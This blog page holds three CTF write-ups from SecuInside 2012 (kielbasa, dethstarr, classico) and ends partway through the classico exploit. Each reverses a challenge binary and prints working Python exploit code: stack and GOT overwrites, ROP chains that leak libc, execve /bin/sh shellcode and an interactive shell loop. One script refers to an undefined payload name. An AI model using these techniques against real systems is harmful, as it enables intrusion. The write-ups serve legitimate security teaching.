LSE Blog

Operating systems, computer security, languages theory, and even more!

  • About us

    • Main website
    • Git repositories
    • @lse_epita

    RSS Feed

  • Categories
    • Events
    • Hardware
    • Language
    • Reverse Engineering
    • Security
    • System
      • Linux
    • Tutorials
      • Parallelism
      • PythonGDB
    • Writeups
      • CSAW CTF 2012 Quals
      • DEFCON 2013 Quals
      • DEFCON2K12 Prequals
      • Hack.lu CTF 2012
      • Hack.lu CTF 2013
      • NDH2K12 Prequals
      • NDH2K13 Quals
      • Olympic-CTF 2014
      • PlaidCTF 2012
      • SecuInside2K12 Prequals
      • ebCTF 2013
  • Authors
    • ✉ Samuel Angebault
    • ✉ Remi Audebert
    • ✉ Jean-Loup Bogalho
    • ✉ Pierre Bourdon
    • ✉ Marwan Burelle
    • ✉ Samuel Chevet
    • ✉ Pierre-Marie de Rodat
    • ✉ Ivan Delalande
    • ✉ Corentin Derbois
    • ✉ Nassim Eddequiouaq
    • ✉ Louis Feuvrier
    • ✉ Fabien Goncalves
    • ✉ Nicolas Hureau
    • ✉ Gabriel Laskar
    • ✉ Stanislas Lejay
    • ✉ Franck Michea
    • ✉ Bruno Pujos
    • ✉ Clement Rouault
    • ✉ Pierre Surply
    • ✉ Kevin Tavukciyan
  • SecuInside2K12 Prequals: kielbasa writeup

    Written by Clement Rouault and Remi Audebert
    2012-06-12 18:00:00

    Kielbasa is a linux elf32 cgi binary which generates and validates ASCII art captchas.

    It is accessed via the following address: http://61.42.25.20/captcha/captcha.cgi?q=sent&v=<captcha>&t_s=<timestamp>

    It runs on a CentOS 6.2 with exec-shield and stack randomization. SELinux appears to be disabled and mmap_min_addr = 0 so we can mmap the first page. It also turned out that this page was exectuable.

    Disclaimer: Our exploit seemed to fail on the remote service (Apache returned an error) but near the end of the ctf we found out that using another shellcode did in fact work.

    Stage 1 - Craft the stack

    The vulnerable function is sub_8048EB0, it has the following stack:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    top of the stack
              ...
    -0x168 char* QUERY_STRING
    -0x164 char t_s[32]
    -0x144 size_t v_size
    -0x140 char v[32]
    -0x120 char* user_agent
    -0x11C char* ptr_to_t_s
    -0x118 char* remote_port
    -0x114 char* somewhere
    -0x110 char* remote_addr
    -0x109 uint8 mmap_flags
    -0x108 int use_malloc
              ...
    bottom of the stack
    

    There is an off by one overflow on the size of the t_s paramater wich lets us overwrite the first byte of v_size (default is 8). As t_s can only contain digits, the maximum value we can put in v_size is 0x39, the ASCII value for 9. Thus we can overwrite the stack up to -0x107 (second byte of use_malloc) with the content of v.

    It then executes (many checks have been removed):

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    /* ... */
    if (use_malloc)
    {
        buf = malloc(0x1000u);
        /* ... */
    }
    else
    {
        buf = mmap(0, 0x1000u, mmap_flag, 0, 0);
        /* ... */
    }
    
    /* ... */
    sprintf(buf, "[%s][%s][%s]\n\n", remote_addr, remote_port, user_agent);
    /* ... */
    
    if (!*ptr_to_t_s && *somewhere)
    {
        jmp(0);
        return -1;
    }
    
    /* ... */
    

    Our goal is to trigger the mmap with the following flags: MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS and then to use the jmp(0) in order to execute our mapped page.

    The page have to contain valid code. We only control the three pointers remote_addr, remote_port and user_agent, used by the sprintf call ([ is pop ebx and ] is pop ebp).

    We needed to find null terminated gadget that would be concatenated.

    When we jump to 0x0 the registers have the following values:

    1
    2
    esi = 0xffffd011 = pointer to v
    edi = 0
    

    We then searched for a movsb gadget and found an movsb followed by jmp $ - 4 hidden in a lea esp, [ebp-244h]:

    1
    2
    3
    4
    5
    $ rasm2 -d 8da57cfdffff
    lea esp, [ebp+0xfffffd7c]
    $ rasm2 -d a57cfd
    movsd
    jl 0x8048000
    

    As rasm2 start address is 0x08048000 we can see that this produces an movsb infinite loop that copies our v buffer to 0x0 and this until the movsb loop gets overwritten. Our stage2 shellcode is located in the v buffer at offset 0x8. The jmp $ - 4 is replaced by a jmp 0x8 wich execute our shellcode.

    We put this gadget in our user_agent and junk (but valid) code in remote_addr and remote_port in order to reserve some place to put our stage2 shellcode.

    Before:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    (gdb) x/17i 0
     => 0x0:         pop    ebx     ; [
        0x1:         nop            ; junk
        0x2:         nop
        0x3:         nop
        0x4:         push   ebp
        0x5:         mov    ebp,esp
        0x7:         cmp    DWORD PTR ds:0x804afa4,0x5d ; ] is eaten by cmp
        0xe:         pop    ebx     ; [
        0xf:         nop            ; junk
        0x10:        nop
        0x11:        nop
        0x12:        push   ebp
        0x13:        mov    ebp,esp
        0x15:        cmp    DWORD PTR ds:0x804afa4,0x5d ; ] is eaten by cmp
        0x1c:        pop    ebx     ; [
        0x1d:        movs   DWORD PTR es:[edi],DWORD PTR ds:[esi]
        0x1e:        jl     0x1d
    

    After:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    (gdb) x/17i 0
       0x0:         popa               ; v[0] = 'a'
       0x1:         popa               ; v[1] = 'a'
       0x2:         popa               ; v[2] = 'a'
       0x3:         popa               ; v[3] = 'a'
       0x4:         popa               ; v[4] = 'a'
       0x5:         popa               ; v[5] = 'a'
       0x6:         popa               ; v[6] = 'a'
       0x7:         popa               ; v[7] = 'a'
       0x8:         xor    ecx,ecx     ; stage2 shellcode
       0xa:         inc    ecx
       0xb:         shl    ecx,0x5
       0xe:         sub    di,0x8
       0x12:        add    si,0x19
       0x16:        rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
       0x18:        nop
       0x19:        nop
       0x1a:        nop
       0x1b:        nop
       0x1c:        nop
       0x1d:        nop
    => 0x1e:        jmp    0x8
    

    Here is the stack we crafted:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    null      = struct.pack("<I", 0x0804897f)
    nops      = struct.pack("<I", 0x080488bd)
    movs_jmp  = struct.pack("<I", 0x0804963d)
    jmp_arg0  = struct.pack("<I", 0x08049648)
    
    MAP_PRIVATE    = 0x02
    MAP_FIXED      = 0x10
    MAP_ANONYMOUS  = 0x20
    
    mmap_flag = struct.pack("B", MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS)
    
    v = captcha                  # v[0:8]
    v += stage2                  # v[8:28]
    v += (30 - len(v)) * b'\x90' # nop padding
    v += yasm("jmp $ - 22")      # v[28:32] = b"\xeb\xe8"
    v += movs_jmp                # v[32:36] user_agent
    v += null                    # v[36:40]
    v += nops                    # v[40:44] remote_port
    v += jmp_arg0                # v[44:48]
    v += nops                    # v[48:52] remote_addr
    v += b"\x01" * 3             # v[52:55]
    v += mmap_flag               # v[55:56]
    

    Stage 2 - Copy our full shellcode

    Our stage2 is very simple, when we jump back to 0x8 we have the QUERY_STRING pointer in esi.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    stage2 = yasm("""
        BITS 32
    
        xor ecx, ecx
        inc ecx
        shl ecx, 5 ; 0x100
    
        sub di, 8
        add si, 25
    
        rep movsb
    """)
    

    Stage 3 - Free pwn

    We put our full length stage3 shellcode at the end of our query:

    http://61.42.25.20/captcha/captcha.cgi?q=sent&v=<captcha>&t_s=<timestamp>&<stage3>

    For example, a simple ls:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    ls = yasm("""
        BITS 32
    
        xor ecx, ecx
        mul ecx
    
        push ecx
        push 0x736c2f2f   ;; sl//
        push 0x6e69622f   ;; nib/
        mov ebx, esp
        push ecx
    
        push ebx
        mov ecx, esp
    
        mov al, 11
        int 0x80
    """)
    

    Full exploit

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    #!/usr/bin/python3
    import os
    import struct
    
    from asm import yasm
    
    stage2 = yasm("""
        BITS 32
    
        xor ecx, ecx
        inc ecx
        shl ecx, 5 ; 0x100
    
        sub di, 8
        add si, 25
    
        rep movsb
    """)
    
    ls = yasm("""
        BITS 32
    
        xor ecx, ecx
        mul ecx
    
        push ecx
        push "//ls"  ;; sl//
        push "/bin"  ;; nib/
        mov ebx, esp
        push ecx
    
        push ebx
        mov ecx, esp
    
        mov al, 11
        int 0x80
    """)
    
    nops      = struct.pack("<I", 0x080488BD)
    movs_jmp  = struct.pack("<I", 0x0804963d)
    null      = struct.pack("<I", 0x0804897f)
    jmp_arg0  = struct.pack("<I", 0x08049648)
    
    MAP_PRIVATE    = 0x02
    MAP_FIXED      = 0x10
    MAP_ANONYMOUS  = 0x20
    
    mmap_flag = struct.pack("B", MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS)
    
    t_s = b"9999999999999999999999999999999999999"
    captcha = b"a" * 8
    
    v = captcha
    v += stage2
    v += (30 - len(v)) * b'\x90' # nop padding
    v += yasm("jmp $ - 22")
    v += movs_jmp                # USER_AGENT
    v += null
    v += nops                    # REMOTE_PORT
    v += jmp_arg0
    v += nops                    # REMOTE_ADDR
    v += b"\x01" * 3             # padding
    v += mmap_flag
    
    env = b'REMOTE_ADDR=192.168.103.61 REMOTE_PORT=80 REQUEST_METHOD="GET" '\
          b'HTTP_USER_AGENT="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"'
    
    query = b"q=sent&t_s=" + t_s + b"&v=" + v + b"&" + exit42
    
    os.system(env + b' QUERY_STRING="' + query + b'" ./captcha.cgi')
    

    My asm.py tool:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    #!/usr/bin/env python3
    # LSE - Rémi Audebert - 2012
    import sys
    import tempfile
    import subprocess
    
    def yasm(code):
        """Assemble x86 code with yasm
    
        >>> yasm("int 0x80")
        b'\\xcd\\x80'
        """
        with tempfile.NamedTemporaryFile() as output_file:
            p = subprocess.Popen(['/usr/bin/yasm',
                '-fbin', # raw outout
                '-o', output_file.name,
                '-'],
                stdin=subprocess.PIPE)
            p.communicate(code.encode())
    
            return output_file.read()
    
    def cstring(data):
        """ Convert bytes to c string
    
        >>> cstring(bytearray([0xcd, 0x80]))
        '\\\\xcd\\\\x80'
        """
        return "".join("\\x" + hex(c)[2:] for c in data)
    
    if __name__ == "__main__":
        import doctest
        doctest.testmod()
    

    Tweet
    Permalink & comments
  • SecuInside2K12 Prequals: dethstarr writeup

    Written by Samuel Chevet
    2012-06-11 16:22:00

    Dethstarr was one of my favorite service exploitation challenges during the SecuInside 2012 contest. We had to fully reverse a given binary to understand how the protocol it implements works. To be able to debug the binary easily and in the same environment as on the remote server, we setup xinetd on a CentOS 6.2 Virtual Machine with the following configuration:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    service dethstarr
    {
        socket_type = stream
        wait = no
        flags = REUSE
        user = w4kfu
        server = /home/w4kfu/LSE/CTF/SecuInside_2012/dethstarr/dethstarr
        port = 4242
        type = UNLISTED
    }
    

    To trigger the bug, we have to understand how the protocol works in detail. Looking at the disassembled code, we can figure out 4 different functions that will first read a certain number of bytes, check if it matches several conditions, then read again on the socket with a user specified size (limited to avoid buffer overflows).

    First check function

    1
    2
    3
    4
    5
    6
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 0xCA  |  0x0  |  0x1  | 0xAC  | 0x9A  | 0x1 | 0x0 | 0x00010001| 0x54534e49  | 0x1F  |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 0xCA  |  0x0  |  0x1  | 0xAC  | 0x9A  | 0x1 | 0x0 | 0x00010001| 0x54534e49  | 0x1F  |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    

    The last 0x1F is the size for the last read call of that function (no overflow can occur)

    Second check function

    1
    2
    3
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 0x8 | 0x1 | 0x1 | 0x0DFE1ABCC | <global_var>  | 0x1 | 0xFF| -42 | 0x66| 0x756C| 0xFF| 0x60|0x7FFFFFFF |0x9C |0x1F|
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    

    The global_var is set before each call to the check function.

    Third check function

    1
    2
    3
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 0x001A00CB|0x000200DB |0x41420019 |0x6|0x1|0xCA |0xCCCCCCCC | <global_var>  | 0x1F|
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    

    Fourth check function

    1
    2
    3
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | <addr>| 0x31323301|<index>|<index>|0x9|0x9|0x1|0xFFFF|0xFFFF0000|0x4|0x00e10052 |<global_var> |0x1F |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    

    Inside this fourth check function lies the vulnerability of this challenge: the index field ([eax+8]) is tested to be under 0x1F using a signed compare, which allows negative values:

    1
    2
    3
    4
    5
    6
    7
    8
    .text:080488EE                 mov     eax, [eax+8]
    .text:080488F1                 cmp     eax, 1Fh
    .text:080488F4                 jle     short loc_8048909
    
    .text:0804893A                 mov     eax, [eax+8]
    .text:0804893D                 mov     edx, [ebp+buf]
    .text:08048940                 mov     edx, [edx]
    .text:08048942                 mov     ds:dword_804A8E0[eax*4], edx
    

    Using this we are able to dereference a negative offset inside a global array and write anything we want in it. I choose to rewrite the exit() function address from inside the GOT. Then, when the check function called after this vulnerability fails, it will fail calling exit and jump to the address we specified. The binary contains a nice function epilogue we can use to overflow one of the program's buffer:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    .text:08049518                 mov     [esp+8], eax    ; nbytes
    .text:0804951C                 lea     eax, [ebp+var_31]
    .text:0804951F                 mov     [esp+4], eax    ; buf
    .text:08049523                 mov     dword ptr [esp], 0 ; fd
    .text:0804952A                 call    _read
    .text:0804952F                 mov     eax, 0
    .text:08049534
    .text:08049534 end_function:                           ; CODE XREF: first_check_buff+65j
    .text:08049534                                         ; first_check_buff+8Cj ...
    .text:08049534                 add     esp, 44h
    .text:08049537                 pop     ebx
    .text:08049538                 pop     ebp
    .text:08049539                 retn
    

    The interesting thing is that the exit function is triggered with eax being the invalid size we specified (making the check fail). That means we control this register value, which is used as the read size.

    After triggering this bug, we can start using ROP to build a shellcode that will bypass ASLR and NX. The shellcode will leak an address from the GOT to allow us to locate libc.so.6 in memory and build a second stage shellcode using this additional information.

    First stage ROP chain

    1
    2
    3
    0x080495B2  # add esp, 0x1C ; pop ; pop ; pop ; pop ; ret
    0x41424344  # Dummy
    0x08049515  # Addres inside First check before read
    

    Now we have the size we want in eax, which allow us to create a buffer overflow when read is called inside 0x0804928D (a.k.a first check function).

    Second stage ROP chain

    1
    2
    3
    4
    5
    0x080483C4  # Address of the write function in .plt
    0x08048DDA  # Return Address Second check mov ebp, esp
    0x00000001  # File descriptor (stdout)
    0x0804A7BC  # Address we want to write from: read@.got.plt
    0x00000004  # Size of the write
    

    Now that we have the read address from the GOT, we ret again on the second check function (it is similar to the first stage ROP chain) and re-trigger the buffer overflow to prepare for stage 3.

    Third stage ROP chain

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    <write_addr> + 0xca60   # Computed address of mmap (libc.so.6)
    0x080495B2              # add esp, 1C ; pop ; pop ; pop ; pop ; ret // clean mmap args
    0x13370000              # Address to map
    0x00001000              # Size to map
    0x00000007              # RWX
    0x00000031              # MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS
    0xffffffff              # fd
    0x00000000              # offset (ignored)
    ...
    DUMMY * 20
    ...
    0x080483F4              # read@.plt
    0x13370000              # Return adress: our shellcode
    0x00000000              # fd
    0x13370000              # Address to read to
    len(shellcode)          # Length of shellcode
    

    This ROP chain will call mmap to a fixed address and read our shellcode (execve /bin/sh) and jump to it.

    Finally this exploit works well both locally and remotely, and we were able to get the flag in the /home/dethstarr/key file. Later on we also used this exploit to get the system time of the server (using date) in order to synchronize ourself with the classico service challenge.

    Here is the final exploit:

      1
      2
      3
      4
      5
      6
      7
      8
      9
     10
     11
     12
     13
     14
     15
     16
     17
     18
     19
     20
     21
     22
     23
     24
     25
     26
     27
     28
     29
     30
     31
     32
     33
     34
     35
     36
     37
     38
     39
     40
     41
     42
     43
     44
     45
     46
     47
     48
     49
     50
     51
     52
     53
     54
     55
     56
     57
     58
     59
     60
     61
     62
     63
     64
     65
     66
     67
     68
     69
     70
     71
     72
     73
     74
     75
     76
     77
     78
     79
     80
     81
     82
     83
     84
     85
     86
     87
     88
     89
     90
     91
     92
     93
     94
     95
     96
     97
     98
     99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    import socket
    import struct
    import sys
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #s.connect(("61.42.25.25", 8282))
    s.connect(("192.168.103.61", 4242))
    
    def first_check():
        cmd = struct.pack("<I", 0xCA)
        cmd += struct.pack("<I", 0x0)
        cmd += struct.pack("<I", 0x1)
        cmd += struct.pack("<I", 0xAC)
        cmd += struct.pack("<I", 0x9A)
        cmd += struct.pack("<I", 0x1)
        cmd += struct.pack("<I", 0x00000000)
        cmd += struct.pack("<I", 0x00010001)
        cmd += struct.pack("<I", 0x54534e49)
        cmd += struct.pack("<I", 0x1F)
        #sys.stdout.write(cmd)
        s.send(cmd)
        cmd = "A" * (0x1F)
        #sys.stdout.write(cmd)
        s.send(cmd)
    
    
    def second_check(x, size, cmd2, a):
        cmd = struct.pack("<I", a)
        cmd += struct.pack("<I", 0x41424344)
        cmd += struct.pack("<I", 0x41424344)
        cmd += struct.pack("<I", 0x0DFE1ABCC)
        # Switch case
        cmd += struct.pack("<I", x)
        cmd += struct.pack("<I", 0x41424344)
        cmd += struct.pack("<I", 0xFF)
        cmd += struct.pack("<i", -0x42)
        cmd += struct.pack("<I", 0x66)
        cmd += struct.pack("<I", 0x756C)
        cmd += struct.pack("<I", 0xFF)
        cmd += struct.pack("<I", 0x60)
        cmd += struct.pack("<I", 0x41424344)
        cmd += struct.pack("<I", 0x7FFFFFFF)
        cmd += struct.pack("<I", 0x9C)
        cmd += struct.pack("<I", size)
        #sys.stdout.write(cmd)
        s.send(cmd)
        #sys.stdout.write(cmd)
        s.send(cmd2)
    
    
    def third_check():
        for i in [1, 0, 2]:
            cmd = struct.pack("<I", 0x001A00CB)
            cmd += struct.pack("<I", 0x000200DB)
            cmd += struct.pack("<I", 0x41420019)
            cmd += struct.pack("<I", 0x6)
            cmd += struct.pack("<I", 0x41424344)
            cmd += struct.pack("<I", 0xCA)
            cmd += struct.pack("<I", 0xCCCCCCCC)
            # index
            cmd += struct.pack("<I", i)
            cmd += struct.pack("<I", 0x1F)
            #sys.stdout.write(cmd)
            s.send(cmd)
            cmd = "A" * (0x1F)
            #sys.stdout.write(cmd)
            s.send(cmd)
    
    def fourth_check(x, y, addr):
        cmd = struct.pack("<I", addr)
        cmd += struct.pack("<I", 0x31323301)
        cmd += struct.pack("<i", y)
        cmd += struct.pack("<i", y)
        cmd += struct.pack("<I", 0x9)
        cmd += struct.pack("<I", 0x9)
        cmd += struct.pack("<I", 0x1)
        cmd += struct.pack("<I", 65535)
        cmd += struct.pack("<i", -65536)
        cmd += struct.pack("<I", 0x4)
        cmd += struct.pack("<I", 0x00e10052)
        # index !!
        cmd += struct.pack("<I", x)
        cmd += struct.pack("<I", 0x1F)
        #sys.stdout.write(cmd)
        s.send(cmd)
        cmd = "A" * 0x1F
        s.send(cmd)
    
    first_check()
    print s.recv(0x60)
    #raw_input()
    for x in xrange(1, 6):
        if x == 2:
            continue
        second_check(x, 0x1F, "A" * 0x1F, 0x8)
    print s.recv(0x44)
    third_check()
    print s.recv(0x78)
    fourth_check(3, -2, 0x4214242)
    print s.recv(0x78)
    fourth_check(0, -2, 0x414242)
    print s.recv(0x48)
    print s.recv(0x78)
    fourth_check(0, -2, 0x414242)
    print s.recv(0x78)
    # Overwrite exit()
    fourth_check(2, -65, 0x08049518)
    print s.recv(0x78)
    
    cmd = "B" * 9
    cmd += struct.pack("<I", 0x080495B2)        # add esp, 0x1C ; pop ; pop ; pop ; pop ; ret
    cmd += struct.pack("<I", 0x41424344)        # Dummy
    cmd += struct.pack("<I", 0x08049515)        # Addres inside First check before read
    cmd += "B" * 10
    
    second_check(5, 0x100, cmd, 8)
    size_payload = 0
    max_size = 0x100
    payload = "B" * 26
    payload += struct.pack("<I", 0x080483C4)    # .plt write
    payload += struct.pack("<I", 0x08048DDA)    # ret addr second check : mov ebp, esp
    payload += struct.pack("<I", 0x00000001)    # fd
    payload += struct.pack("<I", 0x0804A7BC)    # .got.plt write
    payload += struct.pack("<I", 0x00000004)    # size write
    
    s.send(payload + "B" * 20 + "X" * (0x100 - len(payload) - 20 - len(cmd)))
    print s.recv(65536)
    
    # RECV ADDR WRITE
    d = s.recv(4)
    write_addr = struct.unpack("<I", d)[0]
    print "Write_addr =", hex(write_addr)
    
    cmd = "B" * 9
    cmd += struct.pack("<I", 0x080495B2)        # add esp, 0x1C ; pop ; pop ; pop ; pop ; ret
    cmd += struct.pack("<I", 0x41424344)        # Dummy
    cmd += struct.pack("<I", 0x08049515)        # Address inside First check before read
    cmd += "B" * 10
    
    second_check(5, 0x100, cmd, 8)
    
    payload = "B" * 26
    
    payload += struct.pack("<I", write_addr + 0xca60)   # Addr mmap
    payload += struct.pack("<I", 0x080495B2)            # addp esp, 0x1C ; pop; pop ; pop ; pop ; ret
    payload += struct.pack("<I", 0x13370000) # Addr
    payload += struct.pack("<I", 4096)       # Size
    payload += struct.pack("<I", 7)          # rwx
    payload += struct.pack("<I", 49)         # MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS
    payload += struct.pack("<I", 0xffffffff) # -1
    payload += struct.pack("<I", 0)          # osef
    
    payload += "B" * 20
    
    shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
    
    payload += struct.pack("<I", 0x080483F4)    # .plt read
    payload += struct.pack("<I", 0x13370000)    # return addr shellcode
    payload += struct.pack("<I", 0x00000000)    # fd
    payload += struct.pack("<I", 0x13370000)    # addr to read
    payload += struct.pack("<I", len(shellcode))# len of shellcode
    
    s.send(payload + "X" * (0x100 - len(payload) - len(cmd)))
    
    s.send(shellcode)
    
    while True:
        print ">",
        cmd = raw_input()
        if not cmd:
            break
        s.send(cmd + "\n")
        sys.stdout.write(s.recv(65536) + "\n")
    

    Thanks to the SecuIniside CTF organizers for all these awesome binaries!

    Tweet
    Permalink & comments
  • SecuInside2K12 Prequals: classico writeup

    Written by Samuel Chevet
    2012-06-11 16:22:00

    Like dethstarr, we had to fully reverse a given binary to understand how the protocol works. As usual, we have to pass a lot of checks. The first one can be summed up to the following C code:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
        :::C
        read(0, buff, 0x50);
        if (*(DWORD*)buff <= 0x182)
            if (*(DWORD*)buff > 0x181)
                if (!strcmp(buff + 4, "INETCOP"))
                    if (*(DWORD*)(buff + 9) == time(0))
                        if (!strcmp(buf + 40, <random_string>))
                        {
                            res_diff = *(DWORD*)(buff + 18) - *(DWORD*)(buff + 19);
                            if (res_diff > 0)
                                return res_diff;
                        }
        return -1;
    

    The random_string is created using the following function :

    1
    2
    3
    4
    5
    6
    7
    8
    9
        :::C
        char random_str[32];
        char tab[] = "0123456789abcdef";
    
        srand(time(0));
        for (i = 0; i < 32; i++)
        {
            random_str[i] = tab[rand() % strlen(tab)];
        }
    

    The first check was really a problem in remote, because we had to synchronize with the server (time(0)). To overcome this issue, I ran date on the server by using the dethstarr service exploit:

    1
    2
    3
        :::text
        $ date
        Sun Jun 10 15:50:07 EDT 2012
    

    After the first check function, there is a second one which starts by reading 4 bytes as a signed dword and check if it is between 0 and 0xF (included). This value will be used as an index for a jump table. Then it reads 4 bytes again, and check if it is equal to res_diff from the first check function. This value will be used after, let's call it nbbytes. I will not analyze every switch case, but only the 3 most interesting.

    Case 0x3

    The program reads 4 bytes and check if it's null, and then if nbbytes is less than 4095, it reads nbbytes into a malloced buffer. This buffer will be passed to chdir, and then it will check if the content at 0xbfc8c8c8 is not null. If the result of the last malloc is greater than 0x82828282, this function will jump to adress 0xbfc8c8c8.

    Case 0x9

    Like case 0x3 it will read 4 bytes and check if it is null, but then it reads another nbbytes into a 1025 dword table. Not to worry, nbbytes is also verified in this function. After that, it will check if the value of esp is greater than 0xbfc8c8c8. If not it will mprotect it with prot parameter equal to PROT_READ | PROT_WRITE | PROT_EXEC. If the mprotect succeeds, it sends us a random string, and an error code, 0xAAAAAAAA, otherwise it sends 0x82828282.

    Case 0xF

    This is the last case, and the most interesting as it is required to trigger all the stuff described before.

    1
    2
    3
    4
    0x0         0x4           0x8     0xC     0x10    0x14    0x18
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | <counter> |  <nb_loop>  |  0x0  |  0x0  |  0x1  |  0x0  |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    

    Each time this function is called, a global counter is incremented, so the first field of the buffer must equal to this. The filed before the last is not null, because we want the function to call another function which calls malloc and read some bytes from it. We have to do it because for case 0x9 we need to have the last malloc return adress greater than 0x82828282.

    The second field is the number of times main is called, it can be useful to recurse and decrease the value of esp enough to then call case 0x9, and then case 0x3.

    Here is the scheme of the exploit:

    • Call 0xF statements enough time with nb_loop equal to one, to decrease esp enough
    • One last call to case 0xF in order to set nb_loop to 2, and put our shellcode onto the stack
    • Call case 0x9 in order to make the stack executable at an address near 0xbfc8c8c8.
    • Call case 0x3 to jump into our shellcode

    Here is the final exploit :

      1
      2
      3
      4
      5
      6
      7
      8
      9
     10
     11
     12
     13
     14
     15
     16
     17
     18
     19
     20
     21
     22
     23
     24
     25
     26
     27
     28
     29
     30
     31
     32
     33
     34
     35
     36
     37
     38
     39
     40
     41
     42
     43
     44
     45
     46
     47
     48
     49
     50
     51
     52
     53
     54
     55
     56
     57
     58
     59
     60
     61
     62
     63
     64
     65
     66
     67
     68
     69
     70
     71
     72
     73
     74
     75
     76
     77
     78
     79
     80
     81
     82
     83
     84
     85
     86
     87
     88
     89
     90
     91
     92
     93
     94
     95
     96
     97
     98
     99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    import socket
    import struct
    import sys
    import ctypes
    import time
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #s.connect(("61.42.25.24", 8888))
    s.connect(("192.168.103.61", 4242))
    LIBC = ctypes.cdll.LoadLibrary("./libc.so.6")
    
    def get_time(x):
        start = LIBC.time(0)
        cur = LIBC.time(0)
        if x and (x % 100) == 0:
            while cur == start:
                cur = LIBC.time(0)
        return cur - 2
    
    def first_check(x, a, b):
        t = get_time(x)
        LIBC.srand(t)
    
        buf = struct.pack("<I", 0x00000182)
        buf += "INETCOP"
        buf += "B" * 25
        buf += struct.pack("<I", t)
        tab = "0123456789abcdef"
        for x in xrange(32):
            v = LIBC.rand()
            buf += tab[v % len(tab)]
        buf += struct.pack("<I", a)
        buf += struct.pack("<I", b)
        s.send(buf)
    
    def start_second_check(a, b, func):
